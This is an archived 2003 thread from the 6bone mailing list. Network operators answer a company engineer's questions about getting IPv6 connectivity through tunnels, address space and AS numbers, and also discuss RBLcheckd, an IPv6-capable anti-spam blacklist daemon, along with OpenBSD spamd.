IPv6 and IPv4 can co-exist on the same physical ethernet.  Typically,
you can get a free tunnel (as my prior email suggested) via http://he.net,
and other providers, that use a public IPv4 address to tunnel the IPv6
connectivity to, and from there you can route natively via ethernet
and/or routers.

ISP's, as has been explained already in this discussion, can implement
things in a way that uses their existing infrastructure, or they can build
an additional infrastructure that routes IPv6 separately.

When I do the conversion at my ISP, I am going to do native to the adsl
customers, but provide tunnels for dialup and others (like ISDN).

Hope this helps.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Matt.Carpenter@alticor.com on Mon, Aug 04, 2003 at 04:38:33PM 
-0400, we have:
| Thanks, Kurt!
| 
| We have not asked our ISPs about the service yet.  I'm trying to gather 
| information before even pushing my boss to consider it, and he would end 

| up being involved in the ISP conversation.  I'm attempting to have all 
my 
| ducks in a row before chatting with the decisionmakers, including 
| cost/value relationships for the various options of connectivity.
| We aren't even looking to rollow out V6 internally until there is a 
| "customer need" that arises.  I'm trying to stay ahead of the curve and 
| bring up the important questions before crunch time, as well as possibly 

| get our network playing on the V6net beforehand.  But if I go to my boss 

| and ask him about paying our ISP for a service that our customers 
haven't 
| requested, he won't even consider what I'm trying to say.  If I go to 
him 
| with my ducks in a row, offering possibly free/cheap tunnelling to get 
our 
| feet wet, and the option to pay to secure our place on the new network, 
| he'll have something to chew on, at least long enough to delay the "no" 
| into a "not yet, but perhaps <something>....".
| 
| If the IPv4 and v6 networks touch, is each ISP a little v6 bubble or is 
| there one cohesive v6 network which is just invisible to the v4 world?
| We are considered an ISP in the v4 world, although our customers are 
| typically affiliated with us in some way, and one of them is a major B2C 

| ecommerce site.  While we are interested in being a part of the new 
| network space, availability from the v4 Internet is key until it's 
death. 
| This may mean dual-address-spaces, I realize, but when you're selling 
| stuff you want to be available to as many pocketbooks as possible. Thus, 

| if IPv4 is accessible from all and v6 is not, the impetus is to either 
| stick with v4 or do both.
| 
| Thank you for your fast response.  I look forward to hearing more, as 
well 
| as getting connected to the 6bone from my test net.
| 
| Matthew Carpenter
| Alticor Network Services
| 
| 
| 
| 
| 
| Kurt Jaeger <lists@complx.LF.net>
| 08/04/2003 04:06 PM
| Please respond to pi
| 
| 
|         To:     Matt.Carpenter@alticor.com
|         cc: 
|         Subject:        Re: [6bone] Corporation wishing to get connected 
to the new v6 Internet
| 
| 
| Hi!
| 
| > <MEAT>
| > I am working with my company to determine how to get involved with a 
| > production IPv6 Internet, as one develops.
| 
| First step: Have you asked Your ISP for v6 connectivity ?
| 
| Have you asked ISPs in your neigbourhood if they can provide v6 ?
| 
| >         Are there tunnel options for that network as well?
| 
| Yes, probably.
| 
| >         Or does it require a "ISP-Provided" connection?
| 
| This is preferred.
| 
| >         Does one even exist currently?
| 
| Depends on your ISP.
| 
| >         Does it touch the v4 Internet or is it a separate entity?
| 
| It touches the v4 net.
| 
| -- 
| MfG/Best regards, Kurt Jaeger                                  17 years 
to 
| go !
| LF.net GmbH        fon +49 711 90074-23  pi@LF.net 
| Ruppmannstr. 27    fax +49 711 90074-33
| D-70565 Stuttgart  mob +49 171 3101372
| 
| 



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<br><font size=2 face="sans-serif">Thanks, Todd, for both emails.</font>
<br><font size=2 face="sans-serif">I am looking at the he.net site right now and am considering scrapping the freenet6 for a while as the he.net tunnel uses standard sit-tunnelling and the freenet6 uses tsp. &nbsp;he.net's documentation, while less complete, is a little more friendly (like stating that the tunnel will not be available for a couple days so I don't run myself in loops trying to connect :)</font>
<br>
<br><font size=2 face="sans-serif">But they are both using the 6bone in some fashion, which I was under the impression was going away... &nbsp;freenet6 IS on the 6bone, and it looks like he.net is mentioning being connected to the 6bone network, even though the address space is 2001: (which, if I'm not mistaken, is NOT part of the 6bone address-space, correct?). &nbsp;I still have yet to see what IPv6 network I should use locally for either network, so I'm still sitting here with my arms crossed (which can make typing difficult) twiddling my thumbs waiting...</font>
<br>
<br><font size=2 face="sans-serif">It is appearing that production IPv6 networks are currently mostly disparate, funnels to the IPv4 Internet. &nbsp;Is that correct? &nbsp;And are there a few that are big enough that would warrant creating tunnels to them specifically so as to bring them together (eg. if I'm connected to the he.net's network, also connecting to an IPv6 network in Asia (or someplace) with a huge presence)? &nbsp;Or are they pretty much their own little world?</font>
<br>
<br><font size=2 face="sans-serif">Thank you for the direction. &nbsp;This is the type of information I was hoping for.</font>
<br>
<br><font size=2 face="sans-serif">DOH! &nbsp;I take it back. &nbsp;I've been allocated a prefix! &lt;contented smile&gt;</font>
<br><font size=2 face="sans-serif">Well, that's for the test network. &nbsp;Still so many unknowns, though :) &nbsp;We'll see what fun that brings... and then possibly propose something to the boss.</font>
<br>
<br><font size=2 face="sans-serif">Thanks again,</font>
<br>
<br><font size=2 face="sans-serif">Matt</font>
<br>
<br>
<br>
<br>
<table width=100%>
<tr valign=top>
<td>
<td><font size=1 face="sans-serif"><b>&quot;Todd T. Fries&quot; &lt;todd@fries.net&gt;</b></font>
<p><font size=1 face="sans-serif">08/04/2003 04:58 PM</font>
<br><font size=1 face="sans-serif">Please respond to todd</font>
<br>
<td><font size=1 face="Arial">&nbsp; &nbsp; &nbsp; &nbsp; </font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; To: &nbsp; &nbsp; &nbsp; &nbsp;Matt.Carpenter@alticor.com</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; cc: &nbsp; &nbsp; &nbsp; &nbsp;</font>
<br><font size=1 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Subject: &nbsp; &nbsp; &nbsp; &nbsp;Re: [6bone] Corporation wishing to get connected to the new v6 Internet</font></table>
<br>
<br>
<br><font size=2 face="Courier New">IPv6 and IPv4 can co-exist on the same physical ethernet. &nbsp;Typically,<br>
you can get a free tunnel (as my prior email suggested) via http://he.net,<br>
and other providers, that use a public IPv4 address to tunnel the IPv6<br>
connectivity to, and from there you can route natively via ethernet<br>
and/or routers.<br>
<br>
ISP's, as has been explained already in this discussion, can implement<br>
things in a way that uses their existing infrastructure, or they can build<br>
an additional infrastructure that routes IPv6 separately.<br>
<br>
When I do the conversion at my ISP, I am going to do native to the adsl<br>
customers, but provide tunnels for dialup and others (like ISDN).<br>
<br>
Hope this helps.<br>
-- <br>
Todd Fries .. todd@fries.net<br>
<br>
<br>
Free Daemon Consulting, LLC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Land: 405-748-4596<br>
http://FreeDaemonConsulting.com &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mobile: 405-203-6124<br>
&quot;..in support of free software solutions.&quot;<br>
<br>
Key fingerprint: 37E7 D3EB 74D0 8D66 A68D &nbsp;B866 0326 204E 3F42 004A<br>
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Key: http://todd.fries.net/pgp.txt<br>
<br>
(last updated 2003/03/13 07:14:10)<br>
<br>
Penned by Matt.Carpenter@alticor.com on Mon, Aug 04, 2003 at 04:38:33PM -0400, we have:<br>
| Thanks, Kurt!<br>
| <br>
| We have not asked our ISPs about the service yet. &nbsp;I'm trying to gather <br>
| information before even pushing my boss to consider it, and he would end <br>
| up being involved in the ISP conversation. &nbsp;I'm attempting to have all my <br>
| ducks in a row before chatting with the decisionmakers, including <br>
| cost/value relationships for the various options of connectivity.<br>
| We aren't even looking to rollow out V6 internally until there is a <br>
| &quot;customer need&quot; that arises. &nbsp;I'm trying to stay ahead of the curve and <br>
| bring up the important questions before crunch time, as well as possibly <br>
| get our network playing on the V6net beforehand. &nbsp;But if I go to my boss <br>
| and ask him about paying our ISP for a service that our customers haven't <br>
| requested, he won't even consider what I'm trying to say. &nbsp;If I go to him <br>
| with my ducks in a row, offering possibly free/cheap tunnelling to get our <br>
| feet wet, and the option to pay to secure our place on the new network, <br>
| he'll have something to chew on, at least long enough to delay the &quot;no&quot; <br>
| into a &quot;not yet, but perhaps &lt;something&gt;....&quot;.<br>
| <br>
| If the IPv4 and v6 networks touch, is each ISP a little v6 bubble or is <br>
| there one cohesive v6 network which is just invisible to the v4 world?<br>
| We are considered an ISP in the v4 world, although our customers are <br>
| typically affiliated with us in some way, and one of them is a major B2C <br>
| ecommerce site. &nbsp;While we are interested in being a part of the new <br>
| network space, availability from the v4 Internet is key until it's death. <br>
| This may mean dual-address-spaces, I realize, but when you're selling <br>
| stuff you want to be available to as many pocketbooks as possible. &nbsp;Thus, <br>
| if IPv4 is accessible from all and v6 is not, the impetus is to either <br>
| stick with v4 or do both.<br>
| <br>
| Thank you for your fast response. &nbsp;I look forward to hearing more, as well <br>
| as getting connected to the 6bone from my test net.<br>
| <br>
| Matthew Carpenter<br>
| Alticor Network Services<br>
| <br>
| <br>
| <br>
| <br>
| <br>
| Kurt Jaeger &lt;lists@complx.LF.net&gt;<br>
| 08/04/2003 04:06 PM<br>
| Please respond to pi<br>
| <br>
| &nbsp;<br>
| &nbsp; &nbsp; &nbsp; &nbsp; To: &nbsp; &nbsp; Matt.Carpenter@alticor.com<br>
| &nbsp; &nbsp; &nbsp; &nbsp; cc: <br>
| &nbsp; &nbsp; &nbsp; &nbsp; Subject: &nbsp; &nbsp; &nbsp; &nbsp;Re: [6bone] Corporation wishing to get connected to the new v6 Internet<br>
| <br>
| <br>
| Hi!<br>
| <br>
| &gt; &lt;MEAT&gt;<br>
| &gt; I am working with my company to determine how to get involved with a <br>
| &gt; production IPv6 Internet, as one develops.<br>
| <br>
| First step: Have you asked Your ISP for v6 connectivity ?<br>
| <br>
| Have you asked ISPs in your neigbourhood if they can provide v6 ?<br>
| <br>
| &gt; &nbsp; &nbsp; &nbsp; &nbsp; Are there tunnel options for that network as well?<br>
| <br>
| Yes, probably.<br>
| <br>
| &gt; &nbsp; &nbsp; &nbsp; &nbsp; Or does it require a &quot;ISP-Provided&quot; connection?<br>
| </font>
<br><font size=2 face="Courier New">| This is preferred.<br>
| <br>
| &gt; &nbsp; &nbsp; &nbsp; &nbsp; Does one even exist currently?<br>
| <br>
| Depends on your ISP.<br>
| <br>
| &gt; &nbsp; &nbsp; &nbsp; &nbsp; Does it touch the v4 Internet or is it a separate entity?<br>
| <br>
| It touches the v4 net.<br>
| <br>
| -- <br>
| MfG/Best regards, Kurt Jaeger &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;17 years to <br>
| go !<br>
| LF.net GmbH &nbsp; &nbsp; &nbsp; &nbsp;fon +49 711 90074-23 &nbsp;pi@LF.net <br>
| Ruppmannstr. 27 &nbsp; &nbsp;fax +49 711 90074-33<br>
| D-70565 Stuttgart &nbsp;mob +49 171 3101372<br>
| <br>
| <br>
</font>
<br>
<br>
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From cloos@jhcloos.com Mon Aug  4 16:12:33 2003
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To: Matt.Carpenter@alticor.com
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Corporation wishing to get connected to the new v6
 Internet
References: <OF4D774301.44E28F7C-ON85256D78.00738A25-85256D78.0075E906@mailrouter.net>
From: "James H. Cloos Jr." <cloos@jhcloos.com>
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>>>>> "Matt" == Matt Carpenter <Matt.Carpenter@alticor.com> writes:

Matt> ... it looks like he.net is mentioning being connected to
Matt> the 6bone network, even though the address space is 2001:

HE is connected to the 6bone simply to ensure connectivity to
everyone.  Once everyone w/ 6bone space has stopped advertising
their routes, one presumes HE’s connection to it will evaporate
as well.  That it won’t until then is a Good Thing.

-JimC


From gcap@visi.com Mon Aug  4 20:49:46 2003
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From: "Greg Blakely" <gcap@visi.com>
To: <6bone@ISI.EDU>
References: <1059715446.3176.126.camel@portal.home> <20030801055137.GA61051@scylla.towardex.com> <20030801085150.GF19355@login.ecs.soton.ac.uk> <20030801133520.GA23406@bfib.colo.bit.nl> <20030804131013.GK13730@login.ecs.soton.ac.uk>
Subject: Re: [6bone] Nothing is sacred...
Date: Mon, 4 Aug 2003 22:49:32 -0500
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Pim,

    Would you be willing to share the program you wrote?


----- Original Message ----- 
From: "Tim Chown" <tjc@ecs.soton.ac.uk>
To: <6bone@ISI.EDU>
Sent: Monday, August 04, 2003 8:10 AM
Subject: Re: [6bone] Nothing is sacred...


> On Fri, Aug 01, 2003 at 03:35:20PM +0200, Pim van Pelt wrote:
> > On Fri, Aug 01, 2003 at 09:51:50AM +0100, Tim Chown wrote:
> > | Well, no RBLs available over native v6 yet ;)
> > Yes there are :)
> 
> Well, which? :)
>  
> > And I've written a program to function as middleman between all sorts
> > of DNSBL programs and an MTA... it can look up IPv6 addresses and map
> > them to ASN/country too if you wish.
> 
> OK, agreed proxies can fill a short-term need.
> 
> Tim
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From gert@Space.Net Mon Aug  4 23:06:06 2003
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From: Gert Doering <gert@space.net>
To: Matt.Carpenter@alticor.com
Cc: todd@fries.net, 6bone@mailman.isi.edu
Subject: Re: [6bone] Corporation wishing to get connected to the new v6 Internet
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Hi,

On Mon, Aug 04, 2003 at 05:24:32PM -0400, Matt.Carpenter@alticor.com wrote:
> It is appearing that production IPv6 networks are currently mostly 
> disparate, funnels to the IPv4 Internet.  Is that correct?  

Partly, but this is improving.

> And are there 
> a few that are big enough that would warrant creating tunnels to them 
> specifically so as to bring them together (eg. if I'm connected to the 
> he.net's network, also connecting to an IPv6 network in Asia (or 
> someplace) with a huge presence)?  Or are they pretty much their own 
> little world?

Don't put up tunnels to other continents.  Find someone who has good
connectivity there, and put up a tunnel to them (if tunnels are 
unavoidable).

Much of the current IPv6 routing problems come from tunnels that are
just *much* too long (networkwise).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56318  (55442)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pim@ipng.nl Tue Aug  5 02:17:46 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Greg Blakely <gcap@visi.com>
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Subject: [6bone] RBLcheckd (was Re: Nothing is sacred...)
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Hi,

.. and thanks for the interest. Let me expand a little on the program I
was talking about. It's a client server combination that embodies a
blacklist system for MTAs, written by Sabri Berisha and myself.

First some background: I am not entirely happy with using DNS for
looking up blacklists. Especially users with large amounts (10+) of
DNSBL's will end up taking considerable amounts of resources per email.

The idea is to abstract the blacklisting so that the MTA persistantly 
logs in to a RBL check daemon (IANA port registration tcp/3768). For 
each mail it receives, it asks the daemon permission to accept the mail, 
based on four attributes:
  (connecting IPv46, mail-from, rcpt-to, md5-hmac-secret)

The md5-hmac-secret is used for authentication, as we do not want
arbitrary MTAs (ie, ones we don't know of) to make use of our service.

Sending rcpt-to/mail-from allows the rblcheckd to facilitate user based 
blacklisting, eg if the rcpt-to has specific wishes, it can read which 
RBLs to run for this user.

The daemon responds with one of PASS, BLOCK or ENOACCESS within a set
timelimit. ENOACCESS occurs if the client does not have access to the
server (meaning it did not whisper the correct shared secret). PASS
means that all of the user-defined RBLs say its okay to pass the mail
and BLOCK means that at least one of them told us to block it. On any
type of error (socket, IO, file, timeout), PASS is returned.

The RBLs can be either plain DNS or CDB file, with possible other
extensions to be implemented without having to touch the MTA.

The MTA
----------
The MTA is then patched to query the rblcheckd for each RCPT-TO it
receives. For Sendmail, we have written a simple milter program. For
Qmail, we have patched DJB's source. For other MTAs, I do not expect the
patching to be very difficult. All you need is two (clientside) C files,
called rbl.h and rbl.c, which are re-entrant and threadsafe (exporting
only what they need to export to the calling program).

An Example
------------
Here's our running setup at AS12859. For convenience, I've also included
a standalone binary (./rbl) which compiles rbl.[ch] together into a
binary. We type:
$ ./rbl -h crow -p 3768 -s mypasswd \
	-f eu-registry@internetdrive.com \
	-t alarm@bit.nl \
	-i 62.150.9.42
It replies:
*** main: crow told us to block this mail

And rblcheckd logs:
Aug  5 11:00:40 crow rblcheck[80515]: info: white: (42.9.150.62.as12859.rbl.cluecentral.net) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:00:40 crow rblcheck[80515]: info: black: (42.9.150.62.sbl.spamhaus.org) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:00:40 crow rblcheck[80515]: listed: black: (42.9.150.62.list.dsbl.org) (eu-registry@internetdrive.com/alarm@bit.nl) 

Looking at these lines, we deduct that there are 'whitelists' and
'blacklists'. If an entry hits a whitelist, it is passed. If it hits a
blacklist, it is blocked. If it hits both, it is passed. 

* Line 1 queries if the IP is a member of AS12859. In that case, it is an
  nl.bit IP so we whitelist it. It is logged as informational.
* Line 2 queries spamhaus.org, which does not know the IP. It is logged
  as informational.
* Line 3 queries list.dsbl.org, which knows the IP. It is logged
  'listed' and results in the above BLOCK statement. As we now have a
  definitive answer, we do not persue any other blacklists.

Notes
-----------
This software is IPv6 compliant, in that it can do lookups between MTA
and rblcheckd using IPv6 transport, as well as looking up IPv6
addresses:

$ ./rbl -h crow -p 3768 -s mypasswd \
	-f eu-registry@internetdrive.com \
	-t alarm@bit.nl \
	-i 3ffe:8110::1
*** main: crow told us to pass this mail

Checking the log, we now see more lines (sorry for the ugly paste):
Aug  5 11:08:55 crow rblcheck[82259]: info: white: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.as12859.rbl.cluecentral.net) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.sbl.spamhaus.org) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.list.dsbl.org) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.proxies.blackholes.easynet.nl) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.proxies.relays.monkeys.com) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.blackholes.easynet.nl) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.dnsbl.njabl.org) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.spam.dnsrbl.net) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.opm.blitzed.org) (eu-registry@internetdrive.com/alarm@bit.nl) 
Aug  5 11:08:55 crow rblcheck[82259]: info: black: (1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.8.E.F.F.3.relays.ordb.org) (eu-registry@internetdrive.com/alarm@bit.nl) 

All available blacklists for alarm@bit.nl are checked and none matches.
This is of course due to no DNSBL operator having IPv6 addresses in
their servers (except for rbl.cluecentral.net, operated by Sabri Berisha
at BIT).

Does this spark some interest ? The program is a bit rough around the
edges, and we're just about ready to open it up to the public (it's been
running production at AS12859 under qmail and sendmail for a couple of
months now (doing 100K smtp transactions per day). I could be easily
convinced to persuade the co-author to put it up on sourceforge.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From Matt.Carpenter@alticor.com Tue Aug  5 06:05:09 2003
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Thank you all for this education.

I think I'm getting the picture to come in a little clearer now.  So v6 is 
running over the same physical network as v4.  I knew this was possible 
but wasn't sure how it was implemented.  The 6bone, although sounding like 
"backbone" is really the v6 version of the ARPA-net 10.x.x.x address-space 
which is no longer in public use.  The 6bone address-space is made up of 
some large and many small "pockets", which are currently interconnected 
largely through 6to4 tunnels through the v4-Internet.  The 6bone is NOT, 
to clear one of my myths, a "v6 Internet" which is all v6 throughout the 
world, with all of its own links and interconnections (ie. it's not like 
another Internet2 which has separate layers 1 and 2, but only lives at 
layer 3+).

There is also new address-space available (specifically in the 2001:: 
network as offered by he.net), which operates very much like the "6bone 
network", but is simply different addressing.  Routing between 6bone 
(3ffe::/16) and this new address-space works as if they were not different 
at all.  The only difference is that the 6bone address space will be 
phased out over the next several years, a clerical difference.

How's that sound to everyone?

Now how do we obtain AS numbers for the new v6 Internet?

Thanks again!
Matt


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<br><font size=2 face="sans-serif">Thank you all for this education.</font>
<br>
<br><font size=2 face="sans-serif">I think I'm getting the picture to come in a little clearer now. &nbsp;So v6 is running over the same physical network as v4. &nbsp;I knew this was possible but wasn't sure how it was implemented. &nbsp;The 6bone, although sounding like &quot;backbone&quot; is really the v6 version of the ARPA-net 10.x.x.x address-space which is no longer in public use. &nbsp;The 6bone address-space is made up of some large and many small &quot;pockets&quot;, which are currently interconnected largely through 6to4 tunnels through the v4-Internet. &nbsp;The 6bone is NOT, to clear one of my myths, a &quot;v6 Internet&quot; which is all v6 throughout the world, with all of its own links and interconnections (ie. it's not like another Internet2 which has separate layers 1 and 2, but only lives at layer 3+).</font>
<br>
<br><font size=2 face="sans-serif">There is also new address-space available (specifically in the 2001:: network as offered by he.net), which operates very much like the &quot;6bone network&quot;, but is simply different addressing. &nbsp;Routing between 6bone (3ffe::/16) and this new address-space works as if they were not different at all. &nbsp;The only difference is that the 6bone address space will be phased out over the next several years, a clerical difference.</font>
<br>
<br><font size=2 face="sans-serif">How's that sound to everyone?</font>
<br>
<br><font size=2 face="sans-serif">Now how do we obtain AS numbers for the new v6 Internet?</font>
<br>
<br><font size=2 face="sans-serif">Thanks again!</font>
<br><font size=2 face="sans-serif">Matt</font>
<br>
<br>
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From gert@Space.Net Tue Aug  5 06:24:40 2003
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From: Gert Doering <gert@space.net>
To: Matt.Carpenter@alticor.com
Cc: gert@Space.Net, 6bone@mailman.isi.edu, todd@fries.net
Subject: Re: [6bone] Corporation wishing to get connected to the new v6 Internet
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Hi,

On Tue, Aug 05, 2003 at 09:02:52AM -0400, Matt.Carpenter@alticor.com wrote:
> I think I'm getting the picture to come in a little clearer now.  So v6 is 
> running over the same physical network as v4.  

It can be done, yes.  (The same way you can run IPX and IP over the
same wire).

> I knew this was possible 
> but wasn't sure how it was implemented.  

In the IP header, the first field is a version number - 4 or 6, and the
receiving machine knows how to handle the remainder of the packet.

> The 6bone, although sounding like 
> "backbone" is really the v6 version of the ARPA-net 10.x.x.x address-space 
> which is no longer in public use.  

Not exactly like 10.x.x.x, but similar, as it is phased out.

> The 6bone address-space is made up of 
> some large and many small "pockets", which are currently interconnected 
> largely through 6to4 tunnels through the v4-Internet.  

Not "6to4" (that's a specific tunnel variant) but a mixture of 
6to4, ipv6ip, and GRE tunneling.  Plus native connections.

> The 6bone is NOT, 
> to clear one of my myths, a "v6 Internet" which is all v6 throughout the 
> world, with all of its own links and interconnections (ie. it's not like 
> another Internet2 which has separate layers 1 and 2, but only lives at 
> layer 3+).

Yep.

> There is also new address-space available (specifically in the 2001:: 
> network as offered by he.net), which operates very much like the "6bone 
> network", but is simply different addressing.  Routing between 6bone 
> (3ffe::/16) and this new address-space works as if they were not different 
> at all.  The only difference is that the 6bone address space will be 
> phased out over the next several years, a clerical difference.

The addresses are different, but not more different than IPv4 addresses
192.* vs. 195.* - some of them are handed out under one set of rules, 
and the "newer ones" follow a different set of allocation rules.

Technically, there is no difference.

> How's that sound to everyone?
> 
> Now how do we obtain AS numbers for the new v6 Internet?

You use the existing AS number that you have for v4 (or apply for a
new one, as for v4).  BGP is the same, you just have to choose whether
you want to announce v4 or v6 addresses, or both.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  56318  (55442)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From arien+6bone@ams-ix.net Tue Aug  5 06:54:22 2003
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Subject: Re: [6bone] Corporation wishing to get connected to the new v6 Internet
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On dinsdag, augustus 5, 2003, at 03:02 PM, Matt.Carpenter@alticor.com 
wrote:

> Now how do we obtain AS numbers for the new v6 Internet?
>

You can use you existing AS-number(s). BGP routing is not fundamentally 
different from v4.

Most IPv6 capable ISPs use the same AS-numbers as they use with IPv4. I 
know only one that uses a different AS for its v6 services.

Arien


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Date: Tue, 05 Aug 2003 10:38:17 -0500
From: Greg Blakely <gcap@visi.com>
Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
To: Pim van Pelt <pim@ipng.nl>
Cc: 6bone@ISI.EDU, sabri@bit.nl
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Pim,

I can't speak for anyone else, but I would definitely be interested in it.
I use postfix as my MTA, and didn't see you mention it, but I suspect that
it
would probably be fairly easy to integrate.
>
> Does this spark some interest ? The program is a bit rough around the
> edges, and we're just about ready to open it up to the public (it's been
> running production at AS12859 under qmail and sendmail for a couple of
> months now (doing 100K smtp transactions per day). I could be easily
> convinced to persuade the co-author to put it up on sourceforge.
>

Thanks,

Greg


From pim@ipng.nl Tue Aug  5 09:50:08 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Greg Blakely <gcap@visi.com>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
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Hi Greg, John, Cory, Dean, others,

Greg wrote:
| I can't speak for anyone else, but I would definitely be interested in it.
| I use postfix as my MTA, and didn't see you mention it, but I suspect that
| it would probably be fairly easy to integrate.

Sabri has opened a sourceforge project (it was approved swiftly) and we're 
now organizing things in that environment. I had some feedback from Dean
Strik who maintains the unofficial (or?) IPv6 patches to postfix. He
promised to look into patching the rbl client into that MTA. We already
have a working patch for Qmail and a Sendmail milter program, as I said. 
They'll be packaged and delivered seperately in a seperate tarball/CVS 
module.

I'm highly enthusiastic wrt the amount of positive feedback I received
on this! It definately motivates Sabri and me to push things further :-)

Let me gete back to you on the status at end of this week/somewhere next 
week.

Thanks and groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From todd@shadow.fries.net Tue Aug  5 11:00:04 2003
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Date: Tue, 5 Aug 2003 12:54:44 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Pim van Pelt <pim@ipng.nl>
Cc: Greg Blakely <gcap@visi.com>, 6bone@ISI.EDU
Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
Message-ID: <20030805175444.GA24624@fries.net>
Reply-To: todd@fries.net
References: <1059715446.3176.126.camel@portal.home> <20030801055137.GA61051@scylla.towardex.com> <20030801085150.GF19355@login.ecs.soton.ac.uk> <20030801133520.GA23406@bfib.colo.bit.nl> <20030804131013.GK13730@login.ecs.soton.ac.uk> <000901c35b04$94bb1030$cc2f62d1@vyger.net> <20030805091737.GB1417@bfib.colo.bit.nl> <000701c35b67$982ab280$ec5c24a6@wcomnet.com> <20030805165005.GA22595@bfib.colo.bit.nl>
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Everyone has a different peg and a different shaped hole to fit it when it
comes to MTA's and anti spam solutions.

Here's mine:
	
	http://FreeDaemonConsulting/tech/spam.php

In short, relaydb gets fed headers (being told this is a good message or spam)
and ends up with a list of good and bad relays.

More info about relaydb is available at:

	http://www.benzedrine.cx/relaydb.html

Feed this to the list fed into 'spamd(8)' on OpenBSD and you can block
addresses via pf.

I've a local diff set to update, but those interested I'll mail you with it
to enable 'spamd' in OpenBSD to deal with IPv6.

More info about spamd is available at:

	http://www.openbsd.org/cgi-bin/man.cgi?query=spamd

While I applaud any efforts to develop a list of IPv6 known spam hosts and/or
networks, I would want the ability to over-ride any settings as pertained to
my local settings.  So long as there exists an automated way to retrieve any
such lists, I can format them appropriately locally, and use spamd to block
them.

For anyone who wishes to get a demonstration of spamd in action, feel free to
telnet to 66.210.106.28 port 25.  It's not one of my mx hosts, therefore it
gets redirected to spamd automagically ;-)

Thanks,
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Pim van Pelt on Tue, Aug 05, 2003 at 06:50:05PM +0200, we have:
| Hi Greg, John, Cory, Dean, others,
| 
| Greg wrote:
| | I can't speak for anyone else, but I would definitely be interested in it.
